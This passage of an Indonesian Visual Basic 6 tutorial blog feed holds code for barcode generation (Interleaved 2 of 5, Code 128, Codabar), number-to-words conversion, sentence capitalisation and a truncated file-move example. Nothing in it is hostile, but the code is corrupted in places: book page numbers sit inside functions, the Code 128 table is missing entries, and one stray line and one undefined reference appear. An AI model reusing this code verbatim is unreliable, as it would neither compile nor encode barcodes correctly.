Long, y As Long, pos As Long&lt;br /&gt;Dim Bardata As String&lt;br /&gt;Dim Cur As String&lt;br /&gt;Dim temp As String&lt;br /&gt;Dim chksum As Long&lt;br /&gt;Dim BC(11) As String&lt;br /&gt; '2 of the 5 elements are wide: 0=narrow, 1=wide&lt;br /&gt; BC(0) = "00110" '0&lt;br /&gt; BC(1) = "10001" '1&lt;br /&gt; BC(2) = "01001" '2&lt;br /&gt; BC(3) = "11000" '3&lt;br /&gt; BC(4) = "00101" '4&lt;br /&gt; BC(5) = "10100" '5&lt;br /&gt; BC(6) = "01100" '6&lt;br /&gt; BC(7) = "00011" '7&lt;br /&gt; BC(8) = "10010" '8&lt;br /&gt; BC(9) = "01010" '9&lt;br /&gt; BC(10) = "0000" 'Start chr&lt;br /&gt; BC(11) = "100" 'Stop chr&lt;br /&gt;&lt;br /&gt; Picture1.Cls&lt;br /&gt; If Text1.Text = "" Then Exit Sub&lt;br /&gt; pos = 20&lt;br /&gt; Bardata = Text1.Text&lt;br /&gt;&lt;br /&gt; 'make even num of digits by adding a leading 0&lt;br /&gt; If Len(Bardata) Mod 2 And Not Check1(2).Value Then Bardata = "0" &amp;amp; Bardata&lt;br /&gt; If Not (Len(Bardata) Mod 2) And Check1(2).Value Then Bardata = "0" &amp;amp; Bardata&lt;br /&gt;&lt;br /&gt; 'Check for invalid characters and calculate check sum&lt;br /&gt; For x = 1 To Len(Bardata)&lt;br /&gt;     Cur = Mid$(Bardata, x, 1)&lt;br /&gt;     If Cur &lt; "0" Or Cur &gt; "9" Then&lt;br /&gt;         Picture1.Print Cur &amp;amp; " is Invalid"&lt;br /&gt;         Exit Sub&lt;br /&gt;     End If&lt;br /&gt;     'make checksum&lt;br /&gt;     If x Mod 2 Then&lt;br /&gt;         chksum = chksum + CLng(Cur) * 3&lt;br /&gt;     Else&lt;br /&gt;         chksum = chksum + CLng(Cur)&lt;br /&gt;     End If&lt;br /&gt; Next&lt;br /&gt;&lt;br /&gt; 'add check chr to bardata (if selected)&lt;br /&gt; If Check1(2).Value Then&lt;br /&gt;     chksum = (10 - chksum Mod 10) Mod 10&lt;br /&gt;     Bardata = Bardata &amp;amp; Chr$(48 + chksum)&lt;br /&gt; End If&lt;br /&gt;&lt;br /&gt; 'interleave the code into a temp string - what'd you think the name meant?&lt;br /&gt; For x = 1 To Len(Bardata) Step 2&lt;br /&gt;     For y = 1 To 5&lt;br /&gt;         temp = temp &amp;amp; Mid$(BC(Val(Mid$(Bardata, x, 1))), y, 1)&lt;br /&gt;         temp = temp &amp;amp; Mid$(BC(Val(Mid$(Bardata, x + 1, 1))), y, 1)&lt;br /&gt;     Next&lt;br /&gt; Next&lt;br /&gt;&lt;br /&gt; 'add Start &amp;amp; Stop characters&lt;br /&gt; temp = BC(10) &amp;amp; temp &amp;amp; BC(11)&lt;br /&gt;&lt;br /&gt; 'Generate Barcode&lt;br /&gt; For x = 1 To Len(temp)&lt;br /&gt;     If x Mod 2 = 0 Then&lt;br /&gt;             'SPACE&lt;br /&gt;             pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value&lt;br /&gt;     Else&lt;br /&gt;             'BAR&lt;br /&gt;             For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))&lt;br /&gt;                 Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)&lt;br /&gt;                 pos = pos + 1&lt;br /&gt;             Next&lt;br /&gt;     End If&lt;br /&gt; Next&lt;/p&gt;&lt;p&gt;    'Add Label?&lt;br /&gt; If Check1(1).Value Then&lt;br /&gt;     Picture1.CurrentX = 20 + Len(Bardata) * (2 + Check1(0).Value * 1.3) 'kinda center&lt;br /&gt;     Picture1.CurrentY = 50&lt;br /&gt;     Picture1.Print Bardata;&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Private Sub make128()&lt;br /&gt;Dim x As Long, y As Long, pos As Long&lt;br /&gt;Dim Bardata As String&lt;br /&gt;Dim Cur As String&lt;br /&gt;Dim CurVal As Long&lt;br /&gt;Dim chksum As Long&lt;br /&gt;Dim temp As String&lt;br /&gt;Dim BC(106) As String&lt;br /&gt; 'code 128 is basically the ASCII chr set.&lt;br /&gt; '4 element sizes : 1=narrowest, 4=widest&lt;br /&gt; BC(0) = "212222" '&lt;spc&gt;&lt;br /&gt; BC(1) = "222122" '!&lt;br /&gt; BC(2) = "222221" '"&lt;br /&gt; BC(3) = "121223" '#&lt;br /&gt; BC(4) = "121322" '$&lt;br /&gt; BC(5) = "131222" '%&lt;br /&gt; BC(6) = "122213" '&amp;amp;&lt;br /&gt; BC(7) = "122312" ''&lt;br /&gt; BC(8) = "132212" '(&lt;br /&gt; BC(9) = "221213" ')&lt;br /&gt; BC(10) = "221312" '*&lt;br /&gt; BC(11) = "231212" '+&lt;br /&gt; BC(12) = "112232" ',&lt;br /&gt; BC(13) = "122132" '-&lt;br /&gt; BC(14) = "122231" '.&lt;br /&gt; BC(15) = "113222" '/&lt;br /&gt; BC(16) = "123122" '0&lt;br /&gt; BC(17) = "123221" '1&lt;br /&gt; BC(18) = "223211" '2&lt;br /&gt; BC(19) = "221132" '3&lt;br /&gt; BC(20) = "221231" '4&lt;br /&gt; BC(21) = "213212" '5&lt;br /&gt; BC(22) = "223112" '6&lt;br /&gt; BC(23) = "312131" '7&lt;br /&gt; BC(24) = "311222" '8&lt;br /&gt; BC(25) = "321122" '9&lt;br /&gt; BC(26) = "321221" ':&lt;br /&gt; BC(27) = "312212" ';&lt;br /&gt; BC(28) = "322112" '&lt;&gt;&lt;br /&gt; BC(31) = "212321" '?&lt;br /&gt; BC(32) = "232121" '@&lt;br /&gt; BC(33) = "111323" 'A&lt;br /&gt; BC(34) = "131123" 'B&lt;br /&gt; BC(35) = "131321" 'C&lt;br /&gt; BC(36) = "112313" 'D&lt;br /&gt; BC(37) = "132113" 'E&lt;br /&gt; BC(38) = "132311" 'F&lt;br /&gt; BC(39) = "211313" 'G&lt;br /&gt; BC(40) = "231113" 'H&lt;br /&gt; BC(41) = "231311" 'I&lt;br /&gt; BC(42) = "112133" 'J&lt;br /&gt; BC(43) = "112331" 'K&lt;br /&gt; BC(44) = "132131" 'L&lt;br /&gt; BC(45) = "113123" 'M&lt;br /&gt; BC(46) = "113321" 'N&lt;br /&gt; BC(47) = "133121" 'O&lt;br /&gt; BC(48) = "313121" 'P&lt;br /&gt; BC(49) = "211331" 'Q&lt;br /&gt; BC(50) = "231131" 'R&lt;br /&gt; BC(51) = "213113" 'S&lt;br /&gt; BC(52) = "213311" 'T&lt;br /&gt; BC(53) = "213131" 'U&lt;br /&gt; BC(54) = "311123" 'V&lt;br /&gt; BC(55) = "311321" 'W&lt;br /&gt; BC(56) = "331121" 'X&lt;br /&gt; BC(57) = "312113" 'Y&lt;br /&gt; BC(58) = "312311" 'Z&lt;br /&gt; BC(59) = "332111" '[&lt;br /&gt; BC(60) = "314111" '\&lt;br /&gt; BC(61) = "221411" ']&lt;br /&gt; BC(62) = "431111" '^&lt;br /&gt; BC(63) = "111224" '_&lt;br /&gt; BC(64) = "111422" '`&lt;br /&gt; BC(65) = "121124" 'a&lt;br /&gt; BC(66) = "121421" 'b&lt;br /&gt; BC(67) = "141122" 'c&lt;br /&gt; BC(68) = "141221" 'd&lt;br /&gt; BC(69) = "112214" 'e&lt;br /&gt; BC(70) = "112412" 'f&lt;br /&gt; BC(71) = "122114" 'g&lt;br /&gt; BC(72) = "122411" 'h&lt;br /&gt; BC(73) = "142112" 'i&lt;br /&gt; BC(74) = "142211" 'j&lt;br /&gt; BC(75) = "241211" 'k&lt;br /&gt; BC(76) = "221114" 'l&lt;br /&gt; BC(77) = "413111" 'm&lt;br /&gt; BC(78) = "241112" 'n&lt;br /&gt; BC(79) = "134111" 'o&lt;br /&gt; BC(80) = "111242" 'p&lt;br /&gt; BC(81) = "121142" 'q&lt;br /&gt; BC(82) = "121241" 'r&lt;br /&gt; BC(83) = "114212" 's&lt;br /&gt; BC(84) = "124112" 't&lt;br /&gt; BC(85) = "124211" 'u&lt;br /&gt; BC(86) = "411212" 'v&lt;br /&gt; BC(87) = "421112" 'w&lt;br /&gt; BC(88) = "421211" 'x&lt;br /&gt; BC(89) = "212141" 'y&lt;br /&gt; BC(90) = "214121" 'z&lt;br /&gt; BC(91) = "412121" '{&lt;br /&gt; BC(92) = "111143" '|&lt;br /&gt; BC(93) = "111341" '}&lt;br /&gt; BC(94) = "131141" '~&lt;br /&gt; BC(95) = "114113" '&lt;del&gt;        *not used in this sub&lt;br /&gt; BC(96) = "114311" 'FNC 3        *not used in this sub&lt;br /&gt; BC(97) = "411113" 'FNC 2        *not used in this sub&lt;br /&gt; BC(98) = "411311" 'SHIFT        *not used in this sub&lt;br /&gt; BC(99) = "113141" 'CODE C       *not used in this sub&lt;br /&gt; BC(100) = "114131" 'FNC 4       *not used in this sub&lt;br /&gt; BC(101) = "311141" 'CODE A      *not used in this sub&lt;br /&gt; BC(102) = "411131" 'FNC 1       *not used in this sub&lt;br /&gt; BC(103) = "211412" 'START A     *not used in this sub&lt;br /&gt; BC(104) = "211214" 'START B&lt;br /&gt; BC(105) = "211232" 'START C     *not used in this sub&lt;br /&gt; BC(106) = "2331112" 'STOP&lt;/del&gt;&lt;/spc&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    Picture1.Cls&lt;br /&gt; If Text1.Text = "" Then Exit Sub&lt;br /&gt; pos = 20&lt;br /&gt; Bardata = Text1.Text&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    'Check for invalid characters, calculate check sum &amp;amp; build temp string&lt;br /&gt; For x = 1 To Len(Bardata)&lt;br /&gt;     Cur = Mid$(Bardata, x, 1)&lt;br /&gt;     If Cur &lt; " " Or Cur &gt; "~" Then&lt;br /&gt;         Picture1.Print "Invalid Character(s)"&lt;br /&gt;         Exit Sub&lt;br /&gt;     End If&lt;br /&gt;     CurVal = Asc(Cur) - 32&lt;br /&gt;     temp = temp + BC(CurVal)&lt;br /&gt;     chksum = chksum + CurVal * x&lt;br /&gt; Next&lt;br /&gt;&lt;br /&gt; 'Add start, stop &amp;amp; check characters&lt;br /&gt; chksum = (chksum + 104) Mod 103&lt;br /&gt; temp = BC(104) &amp;amp; temp &amp;amp; BC(chksum) &amp;amp; BC(106)&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    'Generate Barcode&lt;br /&gt; For x = 1 To Len(temp)&lt;br /&gt;     If x Mod 2 = 0 Then&lt;br /&gt;             'SPACE&lt;br /&gt;             pos = pos + (Val(Mid$(temp, x, 1))) + Check1(0).Value&lt;br /&gt;     Else&lt;br /&gt;             'BAR&lt;br /&gt;             For y = 1 To (Val(Mid$(temp, x, 1)))&lt;br /&gt;                 Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)&lt;br /&gt;                 pos = pos + 1&lt;br /&gt;             Next&lt;br /&gt;     End If&lt;br /&gt; Next&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    'Add Label?&lt;br /&gt; If Check1(1).Value Then&lt;br /&gt;     Picture1.CurrentX = 30 + Len(Bardata) * (3 + Check1(0).Value * 2) 'kinda center&lt;br /&gt;     Picture1.CurrentY = 50&lt;br /&gt;     Picture1.Print Bardata;&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub makeCodabar()&lt;br /&gt;Dim x As Long, y As Long, pos As Long&lt;br /&gt;Dim Bardata As String&lt;br /&gt;Dim Cur As String&lt;br /&gt;Dim CurVal As Long&lt;br /&gt;Dim temp As String&lt;br /&gt;Dim BC(19) As String&lt;br /&gt; 'Codabar, also known as NW-7&lt;br /&gt; BC(0) = "0000011" '0&lt;br /&gt; BC(1) = "0000110" '1&lt;br /&gt; BC(2) = "0001001" '2&lt;br /&gt; BC(3) = "1100000" '3&lt;br /&gt; BC(4) = "0010010" '4&lt;br /&gt; BC(5) = "1000010" '5&lt;br /&gt; BC(6) = "0100001" '6&lt;br /&gt; BC(7) = "0100100" '7&lt;br /&gt; BC(8) = "0110000" '8&lt;br /&gt; BC(9) = "1001000" '9&lt;br /&gt; BC(10) = "0001100" '-&lt;br /&gt; BC(11) = "0011000" '$&lt;br /&gt; BC(12) = "1000101" ':&lt;br /&gt; BC(13) = "1010001" '/&lt;br /&gt; BC(14) = "1010100" '.&lt;br /&gt; BC(15) = "0010101" '+&lt;br /&gt; BC(16) = "0011010" 'start/stop A&lt;br /&gt; BC(17) = "0101001" 'start/stop B&lt;br /&gt; BC(18) = "0001011" 'start/stop C&lt;br /&gt; BC(19) = "0001110" 'start/stop D&lt;br /&gt;&lt;br /&gt; Picture1.Cls&lt;br /&gt; If Text1.Text = "" Then Exit Sub&lt;br /&gt; pos = 20&lt;br /&gt; Bardata = Text1.Text&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    For x = 1 To Len(Bardata)&lt;br /&gt;     Cur = Mid$(Bardata, x, 1)&lt;br /&gt;     Select Case Cur&lt;br /&gt;         Case "0" To "9"&lt;br /&gt;             CurVal = Val(Cur)&lt;br /&gt;         Case "a" To "d"&lt;br /&gt;             CurVal = Asc(Cur) - 81&lt;br /&gt;         Case "-"&lt;br /&gt;             CurVal = 10&lt;br /&gt;         Case "$"&lt;br /&gt;             CurVal = 11&lt;br /&gt;         Case ":"&lt;br /&gt;             CurVal = 12&lt;br /&gt;         Case "/"&lt;br /&gt;             CurVal = 13&lt;br /&gt;         Case "."&lt;br /&gt;             CurVal = 14&lt;br /&gt;         Case "+"&lt;br /&gt;             CurVal = 15&lt;br /&gt;         Case Else 'oops!&lt;br /&gt;             Picture1.Print Cur &amp;amp; " is Invalid"&lt;br /&gt;             Exit Sub&lt;br /&gt;     End Select&lt;br /&gt;     temp = temp &amp;amp; BC(CurVal) &amp;amp; "0" '"0"= add intercharactor gap (1 narrow space)&lt;br /&gt; Next&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    'Add Start &amp;amp; Stop characters (using "A" for both here)&lt;br /&gt; temp = BC(16) &amp;amp; "0" &amp;amp; temp &amp;amp; BC(16)&lt;br /&gt;&lt;br /&gt; 'Generate Barcode&lt;br /&gt; For x = 1 To Len(temp)&lt;br /&gt;     If x Mod 2 = 0 Then&lt;br /&gt;         'SPACE&lt;br /&gt;         pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value&lt;br /&gt;     Else&lt;br /&gt;         'BAR&lt;br /&gt;         For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))&lt;br /&gt;             Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)&lt;br /&gt;             pos = pos + 1&lt;br /&gt;         Next&lt;br /&gt;     End If&lt;br /&gt; Next&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;    'Add Label?&lt;br /&gt; If Check1(1).Value Then&lt;br /&gt;     Picture1.CurrentX = 30 + Len(Bardata) * (3 + Check1(0).Value * 2) 'kinda center&lt;br /&gt;     Picture1.CurrentY = 50&lt;br /&gt;     Picture1.Print Bardata;&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub Form_Resize()&lt;br /&gt; Picture1.Width = Form1.Width - 360&lt;br /&gt; makeBC&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub Option1_Click(Index As Integer)&lt;br /&gt; Select Case Index&lt;br /&gt;     Case 0&lt;br /&gt;         Check1(2).ToolTipText = "Optional"&lt;br /&gt;         Check1(2).Value = 0&lt;br /&gt;         Check1(2).Enabled = True&lt;br /&gt;     Case 1&lt;br /&gt;         Check1(2).ToolTipText = "Optional"&lt;br /&gt;         Check1(2).Value = 0&lt;br /&gt;         Check1(2).Enabled = True&lt;br /&gt;     Case 2&lt;br /&gt;         Check1(2).ToolTipText = "Not optional"&lt;br /&gt;         Check1(2).Value = 1&lt;br /&gt;         Check1(2).Enabled = False&lt;br /&gt;     Case 3&lt;br /&gt;         Check1(2).ToolTipText = "Not used"&lt;br /&gt;         Check1(2).Value = 0&lt;br /&gt;         Check1(2).Enabled = False&lt;br /&gt; End Select&lt;br /&gt; BCtype = Index&lt;br /&gt; makeBC&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub Text1_Change()&lt;br /&gt; makeBC&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub Check1_Click(Index As Integer)&lt;br /&gt; makeBC&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;p&gt;&lt;del&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt; Clipboard.Clear&lt;br /&gt; Clipboard.SetData Picture1.Image&lt;br /&gt;End Sub&lt;/del&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-9149503496650930568?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/9149503496650930568/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=9149503496650930568' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9149503496650930568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9149503496650930568'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-program-barcode.html' title='Membuat Program Barcode'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8790191136682111955</id><published>2008-11-22T11:29:00.004+07:00</published><updated>2008-11-22T11:33:43.915+07:00</updated><title type='text'>Membuat angka terbilang dengan bahasa indonesia</title><content type='html'>Dalam latihan ini penulis mencoba membuat angka menjadi tulisan terbilang&lt;br /&gt;dengan bahasa Indonesia dari besar uang yang dimasukkan ke&lt;br /&gt;dalam textbox. Besar angka yang dimasukkan bukan bilangan&lt;br /&gt;pecahan, tapi bilangan bulat.&lt;br /&gt;Membuat parameter "MataUang" yang bersifat opsional, di mana&lt;br /&gt;default-nya = "rupiah". Jika parameter ini dikosongkan dengan ""&lt;br /&gt;maka kata "rupiah" tidak muncul. Jika parameter ini tidak ada&lt;br /&gt;(hanya memiliki 1 parameter), kata "rupiah" ditampilkan.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project baru dengan 1 Form dan 2 TextBox.&lt;br /&gt;2. Text1 untuk input dengan angka, Text2 menampilkan terbilang.&lt;br /&gt;3. Ketik coding berikut ke dalam editor form yang bertalian.&lt;br /&gt;&lt;br /&gt;Ketik coding berikut ini pada Form.&lt;br /&gt;Public Function TerbilangBulat(strAngka As String, _&lt;br /&gt;Optional MataUang As String = "rupiah") As String&lt;br /&gt;Dim strJmlHuruf$, intPecahan As Integer&lt;br /&gt;Dim strPecahan$, Urai$, Bil1$, strTot$, Bil2$&lt;br /&gt;Dim X As Integer, Y As Integer, z As Integer&lt;br /&gt;On Error GoTo Pesan&lt;br /&gt;Dim strValid As String, huruf As String * 1&lt;br /&gt;Dim i As Integer&lt;br /&gt;'Periksa setiap karakter yg diketikkan ke kotak&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;‘UserID&lt;br /&gt;strValid = "1234567890"&lt;br /&gt;For i% = 1 To Len(strAngka)&lt;br /&gt;huruf = Chr(Asc(Mid(strAngka, i%, 1)))&lt;br /&gt;If InStr(strValid, huruf) = 0 Then&lt;br /&gt;Set AngkaTerbilang = Nothing&lt;br /&gt;MsgBox "Harus karakter angka!", _&lt;br /&gt;vbCritical, "Karakter Tidak Valid"&lt;br /&gt;Exit Function&lt;br /&gt;End If&lt;br /&gt;Next i%&lt;br /&gt;If strAngka = "" Then Exit Function&lt;br /&gt;If Len(Trim(strAngka)) &gt; 15 Then GoTo Pesan&lt;br /&gt;strJmlHuruf = LTrim(strAngka)&lt;br /&gt;'intPecahan = Val(Right(Mid(strAngka, 15, 2), 2))&lt;br /&gt;If (intPecahan = 0) Then&lt;br /&gt;strPecahan = ""&lt;br /&gt;Else&lt;br /&gt;'strPecahan = LTrim(Str(intPecahan)) + "/100 "&lt;br /&gt;strPecahan = ""&lt;br /&gt;End If&lt;br /&gt;X = 0&lt;br /&gt;Y = 0&lt;br /&gt;Urai = ""&lt;br /&gt;While (X &lt; Len(strJmlHuruf))&lt;br /&gt;X = X + 1&lt;br /&gt;218&lt;br /&gt;strTot = Mid(strJmlHuruf, X, 1)&lt;br /&gt;Y = Y + Val(strTot)&lt;br /&gt;z = Len(strJmlHuruf) - X + 1&lt;br /&gt;Select Case Val(strTot)&lt;br /&gt;Case 1&lt;br /&gt;If (z = 1 Or z = 7 Or z = 10 Or z = 13) Then&lt;br /&gt;Bil1 = "satu "&lt;br /&gt;ElseIf (z = 4) Then&lt;br /&gt;If (X = 1) Then&lt;br /&gt;Bil1 = "se"&lt;br /&gt;Else&lt;br /&gt;Bil1 = "satu "&lt;br /&gt;End If&lt;br /&gt;ElseIf (z = 2 Or z = 5 Or z = 8 Or z = 11 Or z = 14)&lt;br /&gt;Then&lt;br /&gt;X = X + 1&lt;br /&gt;strTot = Mid(strJmlHuruf, X, 1)&lt;br /&gt;z = Len(strJmlHuruf) - X + 1&lt;br /&gt;Bil2 = ""&lt;br /&gt;Select Case Val(strTot)&lt;br /&gt;Case 0: Bil1 = "sepuluh "&lt;br /&gt;Case 1: Bil1 = "sebelas "&lt;br /&gt;Case 2: Bil1 = "dua belas "&lt;br /&gt;Case 3: Bil1 = "tiga belas "&lt;br /&gt;Case 4: Bil1 = "empat belas "&lt;br /&gt;Case 5: Bil1 = "lima belas "&lt;br /&gt;Case 6: Bil1 = "enam belas "&lt;br /&gt;Case 7: Bil1 = "tujuh belas "&lt;br /&gt;Case 8: Bil1 = "delapan belas "&lt;br /&gt;Case 9: Bil1 = "sembilan belas "&lt;br /&gt;End Select&lt;br /&gt;Else&lt;br /&gt;Bil1 = "se"&lt;br /&gt;End If&lt;br /&gt;Case 2: Bil1 = "dua "&lt;br /&gt;Case 3: Bil1 = "tiga "&lt;br /&gt;Case 4: Bil1 = "empat "&lt;br /&gt;Case 5: Bil1 = "lima "&lt;br /&gt;Case 6: Bil1 = "enam "&lt;br /&gt;Case 7: Bil1 = "tujuh "&lt;br /&gt;Case 8: Bil1 = "delapan "&lt;br /&gt;Case 9: Bil1 = "sembilan "&lt;br /&gt;Case Else&lt;br /&gt;Bil1 = ""&lt;br /&gt;End Select&lt;br /&gt;If (Val(strTot) &gt; 0) Then&lt;br /&gt;If (z = 2 Or z = 5 Or z = 8 Or z = 11 Or z = 14) Then&lt;br /&gt;Bil2 = "puluh "&lt;br /&gt;ElseIf (z = 3 Or z = 6 Or z = 9 Or z = 12 Or z = 15)&lt;br /&gt;Then&lt;br /&gt;Bil2 = "ratus "&lt;br /&gt;Else&lt;br /&gt;Bil2 = ""&lt;br /&gt;End If&lt;br /&gt;Else&lt;br /&gt;Bil2 = ""&lt;br /&gt;End If&lt;br /&gt;219&lt;br /&gt;If (Y &gt; 0) Then&lt;br /&gt;Select Case z&lt;br /&gt;Case 4: Bil2 = Bil2 + "ribu "&lt;br /&gt;Y = 0&lt;br /&gt;Case 7: Bil2 = Bil2 + "juta "&lt;br /&gt;Y = 0&lt;br /&gt;Case 10: Bil2 = Bil2 + "milyar "&lt;br /&gt;Y = 0&lt;br /&gt;Case 13: Bil2 = Bil2 + "trilyun "&lt;br /&gt;Y = 0&lt;br /&gt;End Select&lt;br /&gt;End If&lt;br /&gt;Urai = Urai + Bil1 + Bil2&lt;br /&gt;Wend&lt;br /&gt;Urai = Urai + strPecahan&lt;br /&gt;TerbilangBulat = (Urai &amp; MataUang)&lt;br /&gt;Exit Function&lt;br /&gt;Pesan:&lt;br /&gt;TerbilangBulat = "(maksimal 15 digit)"&lt;br /&gt;End Function&lt;br /&gt;Private Sub Text1_Change()&lt;br /&gt;Text2.Text = TerbilangBulat(Text1.Text)&lt;br /&gt;End Sub&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8790191136682111955?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8790191136682111955/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8790191136682111955' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8790191136682111955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8790191136682111955'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuat-angka-terbilang-dengan-bahasa.html' title='Membuat angka terbilang dengan bahasa indonesia'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-935064839256520965</id><published>2008-11-22T11:28:00.001+07:00</published><updated>2008-11-22T11:29:14.862+07:00</updated><title type='text'>Awal Kalimat Kapital</title><content type='html'>kali ini kita latihan fungsi untuk menampilkan huruf pertama dari&lt;br /&gt;setiap kalimat menjadi huruf besar/kapital.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project baru dengan 1 Form dan 1 TextBox.&lt;br /&gt;2. Ketik coding berikut ke dalam editor form yang bertalian.&lt;br /&gt;&lt;br /&gt;Ketik coding berikut ini pada Form.&lt;br /&gt;Public Function AwalKalimatKapital(strKalimat As _ String)&lt;br /&gt;Dim Temp1 As String, Temp2 As String&lt;br /&gt;Dim Lokasi As Integer, i As Integer&lt;br /&gt;Dim huruf As String * 1&lt;br /&gt;Temp1$ = LCase(strKalimat) 'Kecilkan dulu semua&lt;br /&gt;For i% = 1 To Len(Temp1$)&lt;br /&gt;huruf = Chr(Asc(Mid(strKalimat, i%, 1)))&lt;br /&gt;If huruf = "." Then&lt;br /&gt;Lokasi% = i% + 2&lt;br /&gt;End If&lt;br /&gt;If i% = 1 Or i% = Lokasi% Then&lt;br /&gt;Temp2$ = Temp2$ + UCase(Chr(Asc(Mid(Temp1$, _&lt;br /&gt;i%, 1))))&lt;br /&gt;Else&lt;br /&gt;Temp2$ = Temp2$ + LCase(Chr(Asc(Mid(Temp1$, _&lt;br /&gt;i%, 1))))&lt;br /&gt;End If&lt;br /&gt;Next i&lt;br /&gt;AwalKalimatKapital = Temp2$&lt;br /&gt;End Function&lt;br /&gt;Private Sub Text1_Change()&lt;br /&gt;Dim posisi As Integer&lt;br /&gt;posisi = Text1.SelStart&lt;br /&gt;216&lt;br /&gt;Text1.Text = AwalKalimatKapital(Text1.Text)&lt;br /&gt;Text1.SelStart = posisi&lt;br /&gt;End Sub&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-935064839256520965?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/935064839256520965/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=935064839256520965' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/935064839256520965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/935064839256520965'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/awal-kalimat-kapital.html' title='Awal Kalimat Kapital'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-6592119650728893362</id><published>2008-11-22T11:24:00.001+07:00</published><updated>2008-11-22T11:26:07.566+07:00</updated><title type='text'>Memindahkan File</title><content type='html'>Latihan kali ini kita buat program untuk memindahkan file dari suatu&lt;br /&gt;folder ke folder lain.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project dengan 1 Form, 1 Module, dan 1&lt;br /&gt;Commandbutton.&lt;br /&gt;2. Ketik coding berikut ke dalam editor form Anda.&lt;br /&gt;&lt;br /&gt;Ketik coding berikut ini pada Module.&lt;br /&gt;Declare Function MoveFile Lib "kernel32" Alias _ "MoveFileA"&lt;br /&gt;(ByVal lpExistingFileName As String, _&lt;br /&gt;ByVal lpNewFileName As String) As Long&lt;br /&gt;&lt;br /&gt;Ketik coding berikut ini pada Form.&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;'Contoh ini memindahkan file 'c:\MyFile.Zip' ke 